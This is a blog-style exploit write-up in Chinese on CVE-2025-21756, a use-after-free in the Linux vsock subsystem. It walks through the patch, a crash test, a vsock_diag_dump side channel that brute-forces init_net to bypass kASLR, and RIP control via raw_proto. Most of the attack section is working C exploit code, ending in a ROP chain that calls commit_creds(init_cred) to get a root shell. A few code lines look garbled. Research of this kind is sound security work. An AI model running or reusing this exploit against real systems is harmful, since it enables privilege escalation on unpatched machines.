Linux Kernel Exploitation

CVE-2025-21756: Vsock 的攻击

最初只是随意浏览 KernelCTF 的提交内容,结果却演变成长达数周的深入研究一个看似简单的补丁——以及我第一次从 Linux 内核漏洞利用中获得 root shell! 在浏览提交的 公开电子表格 时,我看到了一个有趣的条目:exp237。这个 bug 补丁看起来非常简单,令我惊讶的是,一位研究人员竟然能够利用这个问题进行提权。于是,我踏上了一段降低我的 GPA,偶尔让我怀疑自己理智的旅程:我的第一个 Linux 内核漏洞利用

设置环境

在我们开始深入研究漏洞利用开发之前,我们需要设置一个良好的 Linux 内核调试环境。我决定使用 QEMU 以及 midas's 精彩文章中的脚本和 gef-kernel GDB 扩展。我选择从 Linux 内核 6.6.75 开始,因为它与其他研究人员利用的版本很接近。我实际上是在 WSL 中完成了整个项目,这样我就可以在我的 Windows 学校电脑上编写漏洞利用程序了! kernel exploit development environment screenshot

补丁分析

从下面的 patch 可以看出,这个修复只涉及到几行代码。从代码和描述中可以看出,传输重新分配可以触发 vsock_remove_sock,而 vsock_remove_sock 又会调用 vsock_remove_bound,如果 socket 最初未绑定,则会错误地减少 vsock 对象的引用计数。 当内核中对象的引用计数达到零时,该对象将被释放到其各自的内存管理器。理想情况下,在释放 vsock 对象后,我们将能够触发某种 Use After Free (UAF) 来获得更好的原语并提升权限。


--- a/net/vmw_vsock/af_vsock.c
+++ b/net/vmw_vsock/af_vsock.c
@@ -337,7 +337,10 @@ EXPORT_SYMBOL_GPL(vsock_find_connected_socket);
 
 void vsock_remove_sock(struct vsock_sock *vsk)
 {
-	vsock_remove_bound(vsk);
+	/* Transport reassignment must not remove the binding. */
+	if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+		vsock_remove_bound(vsk);
+
 	vsock_remove_connected(vsk);
 }
 EXPORT_SYMBOL_GPL(vsock_remove_sock);
@@ -821,12 +824,13 @@ static void __vsock_release(struct sock *sk, int level)
 	 */
 	lock_sock_nested(sk, level);
 
+	sock_orphan(sk);
+
 	if (vsk->transport)
 		vsk->transport->release(vsk);
 	else if (sock_type_connectible(sk->sk_type))
 		vsock_remove_sock(vsk);
 
-	sock_orphan(sk);
 	sk->sk_shutdown = SHUTDOWN_MASK;
 
 	skb_queue_purge(&sk->sk_receive_queue);

除了这个补丁,维护人员还为这个 bug 添加了一个测试用例,这对于启动漏洞利用非常有用。


#define MAX_PORT_RETRIES	24	/* net/vmw_vsock/af_vsock.c */
#define VMADDR_CID_NONEXISTING	42
/* Test attempts to trigger a transport release for an unbound socket. This can
 * lead to a reference count mishandling.
 */
static void test_seqpacket_transport_uaf_client(const struct test_opts *opts)
{
	int sockets[MAX_PORT_RETRIES];
	struct sockaddr_vm addr;
	int s, i, alen;
	s = vsock_bind(VMADDR_CID_LOCAL, VMADDR_PORT_ANY, SOCK_SEQPACKET);
	alen = sizeof(addr);
	if (getsockname(s, (struct sockaddr *)&addr, &alen)) {
		perror("getsockname");
		exit(EXIT_FAILURE);
	}
	for (i = 0; i < MAX_PORT_RETRIES; ++i)
		sockets[i] = vsock_bind(VMADDR_CID_ANY, ++addr.svm_port,
					SOCK_SEQPACKET);
	close(s);
	s = socket(AF_VSOCK, SOCK_SEQPACKET, 0);
	if (s < 0) {
		perror("socket");
		exit(EXIT_FAILURE);
	}
	if (!connect(s, (struct sockaddr *)&addr, alen)) {
		fprintf(stderr, "Unexpected connect() #1 success\n");
		exit(EXIT_FAILURE);
	}
	/* connect() #1 failed: transport set, sk in unbound list. */
	addr.svm_cid = VMADDR_CID_NONEXISTING;
	if (!connect(s, (struct sockaddr *)&addr, alen)) {
		fprintf(stderr, "Unexpected connect() #2 success\n");
		exit(EXIT_FAILURE);
	}
	/* connect() #2 failed: transport unset, sk ref dropped? */
	addr.svm_cid = VMADDR_CID_LOCAL;
	addr.svm_port = VMADDR_PORT_ANY;
	/* Vulnerable system may crash now. */
	bind(s, (struct sockaddr *)&addr, alen);
	close(s);
	while (i--)
		close(sockets[i]);
	control_writeln("DONE");
}

最初的想法

由于这是一个 UAF bug,我最初的想法是尝试一个 cross-cache attack。我的总体计划如下...

  1. 触发任意释放一个 vsock 对象
  2. 使用一些用户控制的对象(如 msg_msg)来回收该页面
  3. 破坏 vsock 对象中的某个函数指针以获得代码执行权限

我们得到了一个 Panic!

略微修改并在我的 VM 上运行测试代码(参见 crash.c) 实际上会导致下面看到的内核 panic!通过一些调试,我们发现 vsock 对象实际上仍然链接到 vsock_bind_table 中,尽管它已经被释放了。太棒了! 当 AppArmor 在回收的 socket 上调用 bind() 时,解引用一个 NULL 的 sk_security 指针时,会发生 panic。 这证实了 UAF,并突出了 LSM hooks 带来的障碍(见下文)。

障碍 #1: AppArmor + LSM

AppArmor 我们遇到的第一个主要障碍是 AppArmor。这在上面的调用栈中可以看到,内核调用了 security_socket_bindaa_sk_permsecurity_socket_* 函数是 Linux Security Module (LSM) hooks,它们会调用 AppArmor。那么,我们的 socket 为什么会因为 AppArmor 安全检查而失败呢? 通过调查问题,很明显 __sk_destruct 调用了 sk_prot_free,而 sk_prot_free 又调用了 security_sk_free。因此,当我们触发我们的 bug 来减少引用计数,并且 vsock 被释放时,sk->sk_security 指针将被置零。


/**
 * security_sk_free() - Free the sock's LSM blob
 * @sk: sock
 *
 * Deallocate security structure.
 */
void security_sk_free(struct sock *sk)
{
	call_void_hook(sk_free_security, sk);
	kfree(sk->sk_security);
	sk->sk_security = NULL;
}

但是当我们调用 security_socket_bind 时,AppArmor 函数会解引用这个 sk->sk_security 结构。更糟糕的是,似乎几乎每个 socket 函数都有一个 LSM 对应物。简而言之:内核授予我们一个悬空指针指向 socket — 但 AppArmor 确保我们在我们可以用它做任何有用的事情之前崩溃。那么,如果我们甚至无法使用回收的 socket 调用任何有用的函数,我们如何 UAF 呢?


gef> p security_socket_*
security_socket_accept       security_socket_getpeername    
security_socket_bind        security_socket_getpeersec_dgram  
security_socket_connect      security_socket_getpeersec_stream 
security_socket_create       security_socket_getsockname    
security_socket_getsockopt     security_socket_sendmsg
security_socket_listen       security_socket_setsockopt
security_socket_post_create    security_socket_shutdown
security_socket_recvmsg      security_socket_socketpair

我们有两个主要选择。

  1. 伪造一个 sk_security 指针指向一个虚假对象
  2. 找到一些不受 AppArmor 保护的函数

我决定先探索选项 #2。

(App)Armor 中的漏洞 & 击败 kASLR

我的第一个重点是找到一种方法来泄漏一些地址。一些“显而易见”的选择是像 getsockoptgetsockname 这样的函数,但是这些函数都受到 AppArmor 的保护。通过浏览源代码,我偶然发现了 vsock_diag_dump 功能。这是一个非常有趣的函数,因为它不受 AppArmor 的保护。代码如下所示。


static int vsock_diag_dump(struct sk_buff *skb, struct netlink_callback *cb)
{

	// ... snip ...
	/* Bind table (locally created sockets) */
	if (table == 0) {
		while (bucket < ARRAY_SIZE(vsock_bind_table)) {
			struct list_head *head = &vsock_bind_table[bucket];
			i = 0;
			list_for_each_entry(vsk, head, bound_table) {
				struct sock *sk = sk_vsock(vsk);
				if (!net_eq(sock_net(sk), net))
					continue;
				if (i < last_i)
					goto next_bind;
				if (!(req->vdiag_states & (1 << sk->sk_state)))
					goto done;
				if (sk_diag_fill(sk, skb,
						 NETLINK_CB(cb->skb).portid,
						 cb->nlh->nlmsg_seq,
						 NLM_F_MULTI) < 0)
					goto done;
next_bind:
				i++;
			}
			last_i = 0;
			bucket++;
		}
		table++;
		bucket = 0;
	}
	// ... snip ...
}

由于我们释放的 socket 仍然在 bind table 中,只有两个检查阻止我们从 socket 中转储一些信息。sk->sk_state 检查很容易通过(不需要任何泄漏),但是 sk_net 检查似乎更难。如何在还没有 kASLR 泄漏的情况下伪造一个 sk->__sk_common->skc_net 指针呢?我被这个问题困扰了大约一周,但在 discord 上社区的帮助下克服了这个困难!

用于乐趣和盈利的 Diag Dump 侧信道

陷入困境,我求助于 kernelctf 社区,在 discord 上分享了上述检查。几乎立刻,@h0mbre 回应说可以暴力破解 skc_net 指针,本质上是将 vsock_diag_dump 用作侧信道! 太棒了! 所以,总而言之,我们执行以下操作来泄漏 init_net...

  1. 喷射 pipes 来回收 UAF'd socket 的页面
  2. 使用受控值逐 QWORD 填充每个 pipe 缓冲区
  3. 使用 vsock_diag_dump() 作为侧信道来检测我们覆盖的结构是否“足够有效”以绕过过滤
  4. 一旦 vsock_diag_dump() 停止报告我们的 socket,我们就知道我们破坏了 skc_net
  5. 然后,我们暴力破解 init_net 的低位,直到 socket 再次被接受——这使我们完全绕过 kASLR

@h0mbre 提出的使用 pipe backing pages 的建议比我以前使用的 msg_msg 对象更稳定/可用。经过少量工作,我成功地让以下代码泄漏了 sk_net 指针。


int junk[FLUSH];
for (int i = 0; i < FLUSH; i++)
  junk[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0);
puts("[+] pre alloc sockets");
int pre[PRE];
for (int i = 0; i < PRE; i++)
  pre[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0);
// ... snip ... (alloc target & trigger uaf)
puts("[+] fill up the cpu partial list");
for (int i = 4; i < FLUSH; i += OBJS_PER_SLAB)
  close(junk[i]);
puts("[+] free all the pre/post alloc-ed objects");
for (int i = 0; i < POST; i++)
  close(post[i]);
for (int i = 0; i < PRE; i++)
  close(pre[i]);

对象的 pre 和 post 分配确保整个页面实际上都返回给 buddy allocater(参见 this writeup)。以下是实际查找 skc_net 指针的代码。


int pipes[NUM_PIPES][2];
char page[PAGE_SIZE];
memset(page, 2, PAGE_SIZE); // skc_state must be 2
puts("[+] reclaim page");
int w = 0;
int j;
i = 0;
while (i < NUM_PIPES) {
  sleep(0.1);
  if (pipe(&pipes[i][0]) < 0) {
    perror("pipe");
    break;
  }
  printf(".");
  fflush(stdout);

  w = 0;
  while (w < PAGE_SIZE) {
    ssize_t written = write(pipes[i][1], page, 8);
    j = query_vsock_diag();
    w += written;
    if (j != 48) goto out;
  }
  i++;
  if (i % 32 == 0) puts("");
}

正如你所看到的,这段代码只是不断创建新的 pipes 并一次填充它们一个 QWORD(0x0202020202020202 以满足 skc_state),直到 vsock_diag_dump 不再找到受害 socket。 这意味着我们已经覆盖了 skc_net。 一旦我们实际覆盖了指针,我们只需要以相同的方式暴力破解地址的低 32 位。


long base = 0xffffffff84bb0000; // determined through experimentation
long off = 0;
long addy;
printf("[+] attempting net overwrite (aslr bypass).\n");
while (off < 0xffffffff) {

  close(pipes[i][0]);
  close(pipes[i][1]);
  if (pipe(&pipes[i][0]) < 0) {
    perror("pipe");
  }
  addy = base + off;
  write(pipes[i][1], page, w - 8);
  write(pipes[i][1], &addy, 8);
  if (off % 256 == 0) {
    printf("+");
    fflush(stdout);
  }
  j = query_vsock_diag();
  if (j == 48) {
    printf("\n[*] LEAK init_net @ 0x%lx\n", base + off);
    goto out2;
  }
  off += 128;
}

通过 skc_net 覆盖,我们一石二鸟。我们击败了 kASLR 并落在 vsock 对象中一个已知的偏移量上。 现在剩下的是找到一种可靠的方法来重定向执行流程...

控制 RIP

为了控制指令指针,我求助于 vsock_release 函数,因为它是少数几个不受 AppArmor 保护的 vsock 功能之一。


static int vsock_release(struct socket *sock)
{
	struct sock *sk = sock->sk;
	if (!sk)
		return 0;
	sk->sk_prot->close(sk, 0);
	__vsock_release(sk, 0);
	sock->sk = NULL;
	sock->state = SS_FREE;
	return 0;
}

我们最感兴趣的是调用 sk->sk_prot->close(sk, 0)。由于我们控制了 sk,我们需要一个有效的_指向函数指针的指针_。这让我困惑了一段时间,直到我开始考虑使用其他有效的 proto 对象。我发现 raw_proto 有一个指向 abort 函数的指针,如下所示。


int raw_abort(struct sock *sk, int err)
{
	lock_sock(sk);
	sk->sk_err = err;
	sk_error_report(sk);
	__udp_disconnect(sk, 0);
	release_sock(sk);
	return 0;
}

此函数调用 sk_error_report,如下所示。


void sk_error_report(struct sock *sk)
{
	sk->sk_error_report(sk);
	switch (sk->sk_family) {
	case AF_INET:
		fallthrough;
	case AF_INET6:
		trace_inet_sk_error_report(sk);
		break;
	default:
		break;
	}
}

因此,如果我们可以使用 stack pivot gadget 覆盖 socket 的 sk->sk_error_report 字段,我们应该能够跳转到从 socket 基地址开始的 ROP 链。 下面是覆盖后 vsock 状态的一个不错的可视化。

sk->sk_prot --> &raw_proto
       ↳ .close = raw_abort
             ↳ sk->sk_error_report(sk) → *stack pivot*

另一个重要的提示是,有必要使用一些空字节和指针来伪造 sk_lock 成员(通过大量调试确定)。有了所有这些,我构建了以下 ROP 链。


long kern_base = base + off - 0x3bb1f80;
printf("[*] leaked kernel base @ 0x%lx\n", kern_base);
// calculate some rop gadgets
long raw_proto_abort = kern_base + 0x2efa8c0;
long null_ptr = kern_base + 0x2eeaee0;
long init_cred = kern_base + 0x2c74d80;
long pop_r15_ret = kern_base + 0x15e93f;
long push_rbx_pop_rsp_ret = kern_base + 0x6b9529;
long pop_rdi_ret = kern_base + 0x15e940;
long commit_creds = kern_base + 0x1fcc40;
long ret = kern_base + 0x5d2;
// info for returning to usermode
long user_cs = 0x33;
long user_ss = 0x2b;
long user_rflags = 0x202;
long shell = (long)get_shell;
uint64_t* user_rsp = (uint64_t*)get_user_rsp();
// return to user mode
long swapgs_restore_regs_and_return_to_usermode = kern_base + 0x16011a6;
//getchar();
printf("[+] writing the rop chain\n");
close(pipes[i][0]);
close(pipes[i][1]);
if (pipe(&pipes[i][0]) < 0) {
  perror("pipe");
}
printf("[+] writing payload to vsk\n");
write(pipes[i][1], page, w - 56);
char buf[0x330];
memset(buf, 'A', 0x330);
char not[0x330];
memset(not, 0, 0x330);
// create the rop chain!
write(pipes[i][1], &pop_rdi_ret, 8); // stack pivot target
write(pipes[i][1], &init_cred, 8);
write(pipes[i][1], &ret, 8);
write(pipes[i][1], &ret, 8);
write(pipes[i][1], &pop_r15_ret, 8); // junk
write(pipes[i][1], &raw_proto_abort, 8); // sk_prot (calls sk->sk_error_report())
write(pipes[i][1], &ret, 8);
write(pipes[i][1], &commit_creds, 8); // commit_creds(init_cred);
write(pipes[i][1], &swapgs_restore_regs_and_return_to_usermode, 8);
write(pipes[i][1], &null_ptr, 8); // rax
write(pipes[i][1], &null_ptr, 8); // rdi
write(pipes[i][1], &shell, 8); // rip
write(pipes[i][1], &user_cs, 8);
write(pipes[i][1], &user_rflags, 8);
write(pipes[i][1], user_rsp, 8); // rsp
write(pipes[i][1], &user_ss, 8);
write(pipes[i][1], buf, 0x18);
write(pipes[i][1], &\not, 8); // sk_lock
write(pipes[i][1], &\not, 8); // sk_lock
write(pipes[i][1], &null_ptr, 8); // sk_lock
write(pipes[i][1], &null_ptr, 8); // sk_lock
write(pipes[i][1], buf, 0x200);
write(pipes[i][1], &push_rbx_pop_rsp_ret, 8); // stack pivot [sk_error_report()]
//getchar();
close(s); // trigger the exploit!

请注意,我没有调用 prepare_kernel_cred(NULL),因为这不再受支持(会导致崩溃)。相反,我选择使用 init_cred 调用 commit_creds - 一个与内核基地址具有恒定偏移量的结构,其 uid=gid=0。我还从 this 博客借用了 swapgs_restore_regs_and_return_to_usermode 技术。有了所有这些难题,我们的漏洞利用程序会提供一个 root shell! 该漏洞利用程序的最终源代码发布在 here。该漏洞利用程序仍然可以更加可靠和优雅,但对于我的第一个内核 pwn,我对它感到满意!

感谢!

对于一个只涉及几行补丁代码的 bug 来说,这段旅程教会了我比我所预期的更多的关于内核的知识!如果没有 #kernelctf discord 频道上所有超级有用的黑客,我永远无法完成此漏洞利用!谢谢大家 + 快乐 pwning!